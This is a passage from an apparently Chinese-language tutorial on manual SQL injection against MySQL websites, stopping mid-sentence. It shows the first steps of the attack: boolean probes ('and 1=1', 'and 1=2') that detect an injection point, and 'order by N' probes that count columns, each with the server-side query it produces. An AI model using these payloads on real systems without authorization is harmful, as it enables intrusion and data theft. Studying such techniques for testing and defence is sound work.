网上有很多关于sql手工注入的教程,但是貌似都不够细,所以今天想写下关于sql手工注入的具体思路,具体以mysql数据库为例。
话不多说,首先请不管出于什么目的想要阅读本篇文章的童鞋先阅读一下下面这个:问心:《中华人民共和国网络安全法》全文zhuanlan.zhihu.com
好,接下来进入正题:
sql手工注入流程:
1、判断是否存在注入点(即web网站是否存在sql注入漏洞)
1)手注:在原url后输入 and 1=1
服务端对应的sql语句为:select * from table where id=1 and 1=1
2)手注:在原url后输入 and 1=2
服务端对应的sql语句为:select * from table where id=1 and 1=2
若存在注入点:则第一个返回页面正常,第二个返回页面有变化
2、判断table中的列数
1)手注:在原url后输入 and 1=1 order by 1
服务端对应的sql语句为:select * from table where id=1 and 1=1 order by 1
order by N 语句是按照第N列进行排序,若存在该列,则返回结果为真,若不存在该列